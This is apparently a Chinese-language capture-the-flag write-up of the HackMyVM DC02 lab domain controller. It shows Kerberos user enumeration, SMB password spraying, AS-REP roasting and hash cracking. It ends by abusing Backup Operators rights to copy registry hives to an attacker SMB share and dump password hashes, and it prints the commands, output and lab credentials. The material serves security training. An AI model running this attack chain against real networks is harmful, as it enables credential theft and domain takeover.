HMV-DC02

HMV-DC02

开局报错,修改名字即可

思维导图

信息收集与域渗透流程

├── 1. 主机发现 & 基础信息收集

│ ├── 1.1 ARP 扫描

│ │ ├── 工具:arp-scan

│ │ ├── 作用:发现本地网段存活主机

│ │ └── 示例:arp-scan -l | grep “08:00:27”

│ │

│ ├── 1.2 Nmap 扫描

│ │ ├── 使用参数:

│ │ │ ├── -Pn(跳过主机发现)

│ │ │ ├── -sT(三次握手 TCP 扫描)

│ │ │ ├── -sC(默认脚本)

│ │ │ ├── -sV(服务版本探测)

│ │ │ └── -T4(加速扫描)

│ │ ├── 主要输出内容:

│ │ │ ├── Kerberos(88)

│ │ │ ├── LDAP(389/636/3268/3269)

│ │ │ ├── SMB(445)

│ │ │ └── RPC(135)

│ │ └── 结果用途:判断域控、判断可用攻击面

├── 2. 域侦察:匿名 SMB、Kerberos 用户枚举

│ ├── 2.1 SMB 匿名连接测试

│ │ ├── 工具:smbclient

│ │ ├── 目的:判断是否能匿名枚举共享

│ │ └── 结果:失败 → 不能匿名

│ │

│ ├── 2.2 Kerberos 用户名枚举(Kerbrute)

│ │ ├── 原理:

│ │ │ ├── 通过 AS-REQ 错误码判断用户名存在性

│ │ │ └── 无需任何凭据

│ │ ├── 工具:Kerbrute

│ │ ├── 命令:

│ │ │ ./kerbrute userenum -d DOMAIN —dc IP user.txt

│ │ └── 输出:发现有效用户(admin, Administrator, charlie…)

│ │

│ └── 2.3 清洗用户列表

│ ├── sed 去颜色

│ ├── awk 去域名

│ └── 生成干净 user.txt

├── 3. SMB 密码喷洒(最稳定的认证协议)

│ ├── 3.1 为什么 SMB 是第一选择

│ │ ├── 默认开启

│ │ ├── 支持 NTLM / PTH / Kerberos

│ │ ├── 认证返回码准确

│ │ └── 成功后能执行命令

│ │

│ ├── 3.2 使用 NetExec / CrackMapExec

│ │ ├── 命令示例:

│ │ │ └── nxc smb DC -u user.txt -p user.txt —continue-on-success

│ │ ├── —continue-on-success:成功后继续测试

│ │ ├── —no-bruteforce:只测试 username=password

│ │ └── 结果:发现 charlie:charlie

├── 4. 渗透标准域用户(charlie)

│ ├── 4.1 SMB 登录测试

│ │ ├── 工具:nxc / smbclient

│ │ └── 结果:登录成功,但权限低

│ │

│ ├── 4.2 SMB 枚举共享

│ │ └── 无法访问敏感共享(只读)

│ │

│ ├── 4.3 RID 爆破(枚举更多域用户)

│ ├── 工具:NetExec

│ ├── 目的:获取所有域用户列表

│ └── 结果:生成更大的 user 列表

├── 5. AS-REP Roasting(无须密码)

│ ├── 5.1 原理

│ │ ├── “不需要预认证” 用户可直接获得 AS-REP 密文

│ │ ├── 可离线破解

│ │ ├── 无限制、不触发锁定

│ │ └── 属于高危配置

│ │

│ ├── 5.2 工具:GetNPUsers(Impacket)

│ │ ├── 命令:

│ │ │ impacket-GetNPUsers -usersfile user -dc-ip IP DOMAIN/user:pass

│ │ └── 结果:获得 zximena448 的 AS-REP

│ │

│ ├── 5.3 哈希破解

│ │ ├── 工具:john / hashcat

│ │ └── 结果:密码 = internet

├── 6. 权限提升至高级用户(zximena448)

│ ├── 6.1 SMB 认证测试

│ │ └── 成功,且访问权限提升

│ │

│ ├── 6.2 共享枚举

│ │ ├── 访问 ADMIN$

│ │ ├── 访问 C$

│ │ └── 获得更多敏感目录

│ │

│ └── 6.3 读取桌面文件

│ ├── 工具:smbclient

│ ├── 操作:cd /Users/xxx/Desktop

│ └── 获取 user.txt / flag

└── 7. 下一步行动(可选)

├── DCSync
├── Pass-the-Hash
├── Pass-the-Ticket
├── 获取 SYSTEM 权限
└── 横向移动

信息收集

┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep "08:00:27" | awk '{print $1}'
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
172.16.55.13

namp指令

-Pn(跳过主机发现)

-sTCV(组合扫描类型)

-sT(TCP连接扫描)

  • 使用完整的TCP三次握手建立连接
  • 优点:最稳定可靠,不会被防火墙轻易阻止
  • 缺点:速度较慢,会在目标日志中留下记录
  • 工作原理:尝试与每个端口建立完整连接

-sC(脚本扫描)

  • 使用nmap的默认脚本集进行更深入的探测
  • 脚本可以检测:服务版本、漏洞、配置信息等
  • 相当于 --script=default

-sV(版本检测)

  • 探测开放端口上运行的服务及其版本号
  • 通过发送特定探测包并分析响应来识别服务

-T4(时间模板)

  • 定义:设置扫描的时间策略/速度
  • 级别范围:T0-T5(T0最慢,T5最快)
  • T4特点:
    • 激进模式(Aggressive)
    • 比默认速度更快
    • 增加带宽使用和网络负载
    • 可能在网络中产生更多”噪音”
┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 172.16.55.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-07 03:32 EST
Nmap scan report for 172.16.55.130
Host is up (0.00054s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-12-07 23:32:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 14h59m57s
| smb2-time:
| date: 2025-12-07T23:32:37
|_ start_date: N/A
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:de:3d:5b (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.15 second
  • 88/tcp → Kerberos(域身份认证)(可以利用SPN获取TGS hash)
  • 389/tcp / 636/tcp / 3268 / 3269 → LDAP / LDAPS / 全局编录
  • 135 / 139 / 445 → RPC / SMB(文件共享、远程调用)
  • 464 → kpasswd(Kerberos 改密)
  • Hostname: DC01,Domain: SOUPEDECODE.LOCAL

根据nmap进行添加hosts

172.16.55.130 SOUPEDECODE.LOCAL

SMB匿名连接

由于开放445端口所以尝试进行smb匿名连接

┌──(root㉿kali)-[/home/kali]
└─# smbclient -L 172.16.55.130 -N
session setup failed: NT_STATUS_ACCESS_DENIED

可以发现无法进行匿名连接

无凭据情况下枚举域用户

前置知识

1️⃣ 背景:Kerberos 在 Windows 域里的作用

  • Windows 域控 (DC) 使用 Kerberos 协议 来认证用户。
  • Kerberos 流程大致:
    1. 客户端请求 TGT (Ticket Granting Ticket),发送用户名给 KDC(Key Distribution Center,域控)。
    2. KDC 检查用户名:
      • 用户存在 → 返回 需要预认证(Pre-authentication required)
      • 用户不存在 → 返回 Principal unknown 错误

注意:此阶段无需提供密码即可判断用户名是否存在。


2️⃣ Kerbrute 的工作原理

kerbrute userenum 主要利用了 TGT 请求的响应差异

  1. 向目标 DC 的 Kerberos 服务 (TCP 88) 发送 AS-REQ(Authentication Service Request) 请求
    • 请求里只包含用户名,不需要密码
  2. DC 返回不同的错误码:
返回信息含义
KRB5KDC_ERR_PREAUTH_REQUIRED用户存在(但需要密码才能继续)
KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN用户不存在
  1. Kerbrute 根据返回码判断哪些用户名有效,并把结果输出

3️⃣ 为什么 SMB / LDAP 不行时仍可用

  • SMB / LDAP 匿名访问被禁 → 无法直接枚举用户或共享
  • Kerberos 枚举不依赖匿名访问权限,它只依赖 KDC 对用户名存在与否的响应差异
  • 所以即使没有凭据,也能收集域内用户名

4️⃣ 可视化比喻

  • DC 就像一个 前台接待
    • SMB / LDAP 匿名访问:前台要求出示工卡,否则不给看公司目录
    • Kerberos TGT 请求:你报一个名字,前台会告诉你这个名字是否在员工名单上,但不需要密码

总结

  • Kerbrute 枚举用户名的核心原理:利用 Kerberos 对存在/不存在用户名返回不同错误码
  • 不需要凭据、不受匿名访问限制,是 域用户收集的标准手段

kerbrute枚举

工具:https://github.com/ropnop/kerbrute/releases

┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# ./kerbrute userenum -d SOUPEDECODE.LOCAL --dc 172.16.55.130 /home/kali/Desktop/wordlists/self/user.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/07/25 - Ronnie Flathers @ropnop
2025/12/07 03:48:53 > Using KDC(s):
2025/12/07 03:48:53 > 172.16.55.130:88
2025/12/07 03:48:53 > [+] VALID USERNAME: admin@SOUPEDECODE.LOCAL
2025/12/07 03:48:53 > [+] VALID USERNAME: ADMIN@SOUPEDECODE.LOCAL
2025/12/07 03:48:53 > [+] VALID USERNAME: Administrator@SOUPEDECODE.LOCAL
2025/12/07 03:48:53 > [+] VALID USERNAME: charlie@SOUPEDECODE.LOCAL
2025/12/07 03:48:54 > Done! Tested 8886 usernames (4 valid) in 0.813 seconds
./kerbrute userenum -d SOUPEDECODE.LOCAL --dc 172.16.55.130 /home/kali/Desktop/wordlists/self/user.txt 2>&1 \
| sed -n 's/\x1b\[[0-9;]*m//g; /VALID USERNAME/ {s/.*VALID USERNAME: *//; s/@.*//; s/^[ \t]*//; s/[ \t\r]*$//; p}' > user.txt
with open('user.txt','r') as f:
lines = f.readlines()
with open('user.txt','w') as f:
for line in lines:
line = line.strip()
if '@' in line:
username = line.split('@')[0].split()[-1] # 取最后一个空格后的部分
f.write(username + '\n')

✅ 为什么 Kerbrute 枚举完用户之后,下一步要用 SMB?

因为 SMB 是 Active Directory(AD)环境中最通用、最可靠、最常见、最容易利用的协议,并且:

⭐ 在绝大多数 AD 渗透中,SMB 是“第一选择的认证协议”。

下面我告诉你为什么。


🟦 1. SMB 认证是所有 Windows 域主机都默认启用的

只要目标在域里,就会自动开启 445 端口(SMB)。

这意味着:

  • 域控有 SMB
  • 所有域内 Windows 服务器有 SMB
  • 所有域内 Windows 工作站有 SMB

👉 这是域内最稳定、最肯定能碰到的认证入口。


🟦 2. SMB 支持 NTLM —— 你能用密码、hash、ticket 都能登录

SMB 支持的认证方式最全:

类型SMBWinRMLDAPSSH
明文密码✔️✔️✔️✔️
NTLM hash✔️✔️(受限)
Pass-the-Hash✔️(完全支持)✔️(部分)
Kerberos ticket (Pass-the-Ticket)✔️✔️

所以:

只要你有密码或 hash,SMB 是最好用的登录协议。


🟦 3. SMB 登录成功后 → 可以直接做横向移动(最大价值:执行命令)

一旦 SMB 登录成功:

nxc smb <target> -u user -p pass -x "whoami"

可以直接在目标执行命令,很适合上线目标机器。


🟦 4. SMB 错误码非常准确 → 最容易判断密码是否正确

例如:

  • 密码正确 → 明确返回成功
  • 密码错误 → 返回 STATUS_LOGON_FAILURE
  • 账户锁定 → 返回 STATUS_ACCOUNT_LOCKED_OUT
  • 用户存在但密码不对 → 明确区分

🔍 所以:密码喷洒、爆破都以 SMB 最精确、最稳。


🟦 5. 其他协议不适合作为“第一步攻击面”

你可能会问:

为什么不直接用 WinRM、LDAP、Kerberos?

因为:

❌ WinRM
  • 默认不开
  • 服务器端口5985/5986可能被关闭
  • 要求用户必须属于 Remote Management Users
❌ LDAP
  • 多数域控启用
  • 但普通用户能做的事情有限(查信息,不执行命令)
❌ Kerberos
  • 对密码判断没 SMB 精准
  • 不支持执行命令或横向移动
❌ SSH / FTP / RDP
  • 很多主机根本没有这些协议
  • 在 AD 环境不稳定

因此:

👉 SMB 是攻击面最广、最稳定、成功率最高的协议

┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# netexec smb SOUPEDECODE.LOCAL -u user.txt -p user.txt --continue-on-success
SMB 10.0.90.222 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:admin STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:admin STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:admin STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\charlie:admin STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:ADMIN STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:ADMIN STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:ADMIN STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\charlie:ADMIN STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:Administrator STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:Administrator STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\charlie:Administrator STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:charlie STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:charlie STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:charlie STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [+] SOUPEDECODE.LOCAL\charlie:charlie

默认情况下,NetExec 在某个账号密码组合 登录成功后会停止该用户的进一步尝试

但加上: —continue-on-success

就算密码尝试成功也继续用该用户尝试密码本里的其他密码

—no-bruteforce 避免产生暴力破解行为

如果有以下场景:

-u user.txt -p user.txt

username 和 password 列表相同
会产生很多(每个用户 × 每个密码)的组合

比如 user.txt 里有 100 行
将产生 100 × 100 = 10000 次尝试 → 这就变成 暴力破解 了。

加上:

--no-bruteforce

表示:

❌ 不要对每个用户尝试整个密码列表
✔ 只尝试 “username=password” 一一对应的组合

也就是说:

alice:alice bob:bob charlie:charlie

┌──(root㉿kali)-[/home/kali/Desktop/tools/kerbrute]
└─# crackmapexec smb 10.0.90.222 -u user.txt -p user.txt --continue-on-success --no-bruteforce
SMB 10.0.90.222 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\admin:admin STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:ADMIN STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.0.90.222 445 DC01 [+] SOUPEDECODE.LOCAL\charlie:charlie

渗透Charlie

┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# crackmapexec smb 172.16.55.130 -u charlie -p charlie
SMB 172.16.55.130 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.55.130 445 DC01 [-] Connection Error: The NETBIOS connection with the remote host timed out.
crackmapexec smb 172.16.55.130 -u charlie -p charlie --shares
SMB 172.16.55.130 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.55.130 445 DC01 [+] SOUPEDECODE.LOCAL\charlie:charlie
SMB 172.16.55.130 445 DC01 [+] Enumerated shares
SMB 172.16.55.130 445 DC01 Share Permissions Remark
SMB 172.16.55.130 445 DC01 ----- ----------- ------
SMB 172.16.55.130 445 DC01 ADMIN$ Remote Admin
SMB 172.16.55.130 445 DC01 C$ Default share
SMB 172.16.55.130 445 DC01 IPC$ READ Remote IPC
SMB 172.16.55.130 445 DC01 NETLOGON READ Logon server share
SMB 172.16.55.130 445 DC01 SYSVOL READ Logon server share

charlie用户只有标准的域用户权限,无法访问敏感共享。

域用户进一步枚举

RID爆破 RID 爆破

使用charlie用户的凭据进行RID爆破,获取更多用户信息:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nxc smb 192.168.205.146 -u charlie -p charlie --rid-brute|awk -F '\' '{print $2}'|awk '{print $1}' > user

ASREPRoasting 攻击

参考:https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/asreproast.html?highlight=AS-REP#asreproast-without-credentials
参考:https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/asreproast.html?highlight=AS-REP#asreproast-without-credentials

使用GetNPUsers工具检查是否有用户设置了”不要求Kerberos预认证”属性:

正常流程(有预认证):

  1. 客户端把“用密码加密的时间戳”发给域控
  2. 域控解密成功 → 证明你确实知道密码
  3. 域控发给你票据

如果不要求预认证

客户端什么都不用证明
域控直接发给你一段“用用户密码加密的数据”(AS-REP)
⚠️ 任何人都可以拿回去慢慢爆破

意思就是:
域控免费送你一个可离线爆破密码的密文
不限次数
不会锁定账户
永远不会报警

┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# impacket-GetNPUsers -usersfile user -dc-ip 172.16.55.130 'SOUPEDECODE.LOCAL/charlie:charlie' |grep -v "-"
$krb5asrep$23$zximena448@SOUPEDECODE.LOCAL:74b7f0a590296d9c3eb6118f7c38a98b$942ed00a3bf5befca1b8f287858ebbab857c60f0889492fc9949930cc469336be125b28b9afd49e2614587d39086a56119c364cacfa611421217c2fa1bc6e32c0239d6c39843ef898f0bf86e23bbdebd655f23976c56fb07e633270ea47936eaf59ef2505337ada1d75a9b57973d26794687ecfd4e5624f374d753a438ad83ef82d36f481143cbc1d34654e48e99fa5fffe19196bbd90c3d67d6d923712f775e9f0b527697b33ed78c87bd94716c608de049673e2ec54dd99b2b1b8cfbd0f19582e7a97912cb813a98e10a5860182d2c4f8012248adc58a23fed11a58d3f6a316c135f312e5a9903cd99410e1f637a81a435b1351c5e

哈希破解

使用john工具破解AS-REP哈希:

┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
internet ($krb5asrep$23$zximena448@SOUPEDECODE.LOCAL)
1g 0:00:00:00 DONE (2025-12-07 05:01) 100.0g/s 102400p/s 102400c/s 102400C/s 123456..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

成功破解密码:zximena448:internet

权限提升

验证新凭据

使用新获得的凭据测试权限:

┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# nxc smb 172.16.55.130 -u zximena448 -p internet --shares
[*] Initializing SMB protocol database
SMB 172.16.55.130 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.55.130 445 DC01 [+] SOUPEDECODE.LOCAL\zximena448:internet
SMB 172.16.55.130 445 DC01 [*] Enumerated shares
SMB 172.16.55.130 445 DC01 Share Permissions Remark
SMB 172.16.55.130 445 DC01 ----- ----------- ------
SMB 172.16.55.130 445 DC01 ADMIN$ READ Remote Admin
SMB 172.16.55.130 445 DC01 C$ READ,WRITE Default share
SMB 172.16.55.130 445 DC01 IPC$ READ Remote IPC
SMB 172.16.55.130 445 DC01 NETLOGON READ Logon server share
SMB 172.16.55.130 445 DC01 SYSVOL READ Logon server share

zximena448用户具有更高权限,可以访问ADMINC和C共享。

┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# smbclient -U "SOUPEDECODE.LOCAL\zximena448" //172.16.55.130/C$
Password for [SOUPEDECODE.LOCAL\zximena448]:
Try "help" to get a list of possible commands.
smb: \> ls
$WinREAgent DH 0 Sat Jun 15 15:19:51 2024
Documents and Settings DHSrn 0 Sat Jun 15 22:51:08 2024
DumpStack.log.tmp AHS 12288 Sun Dec 7 20:27:15 2025
pagefile.sys AHS 1476395008 Sun Dec 7 20:27:15 2025
PerfLogs D 0 Sat May 8 04:15:05 2021
Program Files DR 0 Sat Jun 15 13:54:31 2024
Program Files (x86) D 0 Sat May 8 05:34:13 2021
ProgramData DHn 0 Sat Jun 15 22:51:08 2024
Recovery DHSn 0 Sat Jun 15 22:51:08 2024
System Volume Information DHS 0 Sat Jun 15 15:02:21 2024
Users DR 0 Mon Jun 17 14:31:08 2024
Windows D 0 Wed Aug 20 17:13:31 2025
12942591 blocks of size 4096. 10862525 blocks available
smb: \> cd /Users/zximena448/desktop
smb: \Users\zximena448\desktop\> ls
. DR 0 Mon Jun 17 14:31:24 2024
.. D 0 Mon Jun 17 14:30:22 2024
desktop.ini AHS 282 Mon Jun 17 14:30:22 2024
user.txt A 33 Wed Jun 12 16:01:30 2024
12942591 blocks of size 4096. 10862525 blocks available
smb: \Users\zximena448\desktop\> get user.txt
getting file \Users\zximena448\desktop\user.txt of size 33 as user.txt (2.7 KiloBytes/sec) (average 2.7 KiloBytes/sec)
smb: \Users\zximena448\desktop\>
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# cat user.txt
2fe79eb0e02ecd4dd2833cfcbbdb504c

更换新IP :172.16.55.130

LDAP信息搜集

有了新的凭证,就暂时不用考虑kerberos了,尝试通过LDAP收集AD域的相关信息,使用到了一个叫ldapdomaindump的工具:

┌──(root㉿kali)-[/home//Desktop/hmv/DC02/zximena448]
└─# grep -Pinr zximena448
domain_users_by_group.html:489:<tr><td>Zach Ximena</td><td>Zach Ximena</td><td>zximena448</td><td>06/15/24 20:04:37</td><td>12/08/25 01:58:02</td><td>12/08/25 01:58:02</td><td>NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH</td><td>06/17/24 18:09:53</td><td><abbr title="S-1-5-21-2986980474-46765180-2505414164-1142">1142</abbr></td><td>Volunteer teacher and education advocate</td></tr>
domain_users_by_group.html:997:<tr><td>Zach Ximena</td><td>Zach Ximena</td><td>zximena448</td><td>06/15/24 20:04:37</td><td>12/08/25 01:58:02</td><td>12/08/25 01:58:02</td><td>NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH</td><td>06/17/24 18:09:53</td><td><abbr title="S-1-5-21-2986980474-46765180-2505414164-1142">1142</abbr></td><td>Volunteer teacher and education advocate</td></tr>
domain_users.json:59484: "zximena448@soupedecode.local"
domain_users.json:59517: "zximena448"
domain_users.json:59547: "zximena448@soupedecode.local"
domain_users.html:489:<tr><td>Zach Ximena</td><td>Zach Ximena</td><td>zximena448</td><td><a href="domain_users_by_group.html#cn_Backup_Operators" title="CN=Backup Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL">Backup Operators</a></td><td><a href="domain_users_by_group.html#cn_Domain_Users" title="CN=Domain Users,CN=Users,DC=SOUPEDECODE,DC=LOCAL">Domain Users</a></td><td>06/15/24 20:04:37</td><td>12/08/25 01:58:02</td><td>12/08/25 01:58:02</td><td>NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH</td><td>06/17/24 18:09:53</td><td><abbr title="S-1-5-21-2986980474-46765180-2505414164-1142">1142</abbr></td><td>Volunteer teacher and education advocate</td></tr>
domain_users.grep:459:Zach Ximena Zach Ximena zximena448 Backup Operators Domain Users 06/15/24 20:04:37 12/08/25 01:58:02 12/08/25 01:58:02 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH 06/17/24 18:09:53 S-1-5-21-2986980474-46765180-2505414164-1142 Volunteer teacher and education advocate

grep -Pinr zximena448

(1) -P

启用 Perl 兼容正则表达式(PCRE)
也就是说,搜索规则可以使用更强的正则语法。
但这里你搜索的是纯字符串 **zximena448**,所以 -P 没有特别作用。

(2) -i

忽略大小写(case-insensitive)。
不管目标内容是:

  • zximena448
  • Zximena448
  • ZXIMENA448

都会被匹配到。

(3) -n

显示匹配的行号。

(4) -r

递归搜索(recursive)。
从当前目录开始,包含所有子目录及子文件全部搜索。

zximena448账户基础信息解析

姓名:Zach Ximena
账户名:zximena448
SID:S-1-5-21-2986980474-46765180-2505414164-1142
组成员:Backup Operators、Domain Users
账户类型:NORMAL_ACCOUNT
密码永不过期 (DONT_EXPIRE_PASSWD)
不需要 Kerberos 预认证 (DONT_REQ_PREAUTH) ← ★关键
🔥 重要点:DONT_REQ_PREAUTH = 不需要 Kerberos 预认证

这意味着该用户 可被 AS-REP Roasting(AS-REP爆破/脱机破解)。
也就是说攻击者可以直接向 DC 请求一个可破解的加密票据。

➡️ 使用工具:

impacket-GetNPUsers soupedecode.local/zximena448 -dc-ip <DC>

这能直接得到可破解的密文。


✅ 2. 组成员信息解析

最关键的是:

Backup Operators(备份操作员)

Windows 内置高权限组,它的权限包括:

✔ 可以 备份与还原整个系统
✔ 可绕过文件 ACL
✔ 可利用 SeBackupPrivilegeSeRestorePrivilege 实现 本地提权
✔ 在某些场景下甚至能 读取 NTDS.dit(域控数据库)

➡️ 攻击者可以通过该组权限:

★ 提权方式:
  1. 利用 SeBackupPrivilege 读取任意文件
  2. 读取 SYSTEM + SAM(本地哈希),甚至
  3. 读取 NTDS.dit(整个域哈希)

提取hash获取凭证

接下来就是搞一个临时的smb服务器,尝试将远程文件及hash导入本地尝试破解:

┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# mkdir share
┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC02]
└─# impacket-smbserver -smb2support kali ./share
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

impacket-smbserver -smb2support kali ./share

这条命令含义:

创建 SMB 共享名:kali
实际对应本地目录:./share
┌──(root㉿kali)-[/home/kali]
└─# impacket-reg "SOUPEDECODE.LOCAL/zximena448:internet@172.16.55.130" backup -o //172.16.55.210/kali
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to //172.16.55.210/kali\SAM.save
[*] Saved HKLM\SYSTEM to //172.16.55.210/kali\SYSTEM.save
[*] Saved HKLM\SECURITY to //172.16.55.210/kali\SECURITY.save

impacket-reg 会自动把导出的 SAM / SYSTEM / SECURITY 保存到你指定的 UNC 路径(你的 SMB 共享目录),所以你看到它存到了kali:也就是你用 impacket-smbserver 开出的共享目录 ./share

impacket-secretsdump

┌──(root㉿kali)-[/home//Desktop/hmv/DC02/share]
└─# impacket-secretsdump -system SYSTEM.save -security SECURITY.save -sam SAM.save LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:6bb0837cc9ef088d840c0fbc9c052c6ce6d1e3aca32a2ae3922805d644d7e3223f48b4e08088f76370bbb8ab85264cb4720b282643921402676be48d8d346686e2e12705a353bc9120306f4f5f49f107a27e01e2348e4b882338ec41c4f39e61e9dfa5e58f83637657c431c3d78d661ab091b9c0711f7e8ad0b0be5c73961a1d6cbee0f9c865bd8619c756241dc865f64effe8bbcf55fb8187f1fa18043eff8d8e5c4e5bf99d09d854b89c2296f658a08643bba26489f1b04012cb2eef8de0aa453c334218a45470f95de935855cbcf4aa87664bd81b7d52d72ed261c7a374b081db7d707546f18e53ed27e768e2c6aa
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:f9b18cfad5dc2ace780c2474e19ff1c6
[*] DPAPI_SYSTEM
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[*] NL$KM
0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D........c../...
0010 62 4D CA D9 55 20 44 41 75 55 3E 85 82 06 21 14 bM..U DAuU>...!.
0020 8E FA A1 77 0A 9C 0D A4 9A 96 44 7C FC 89 63 91 ...w......D|..c.
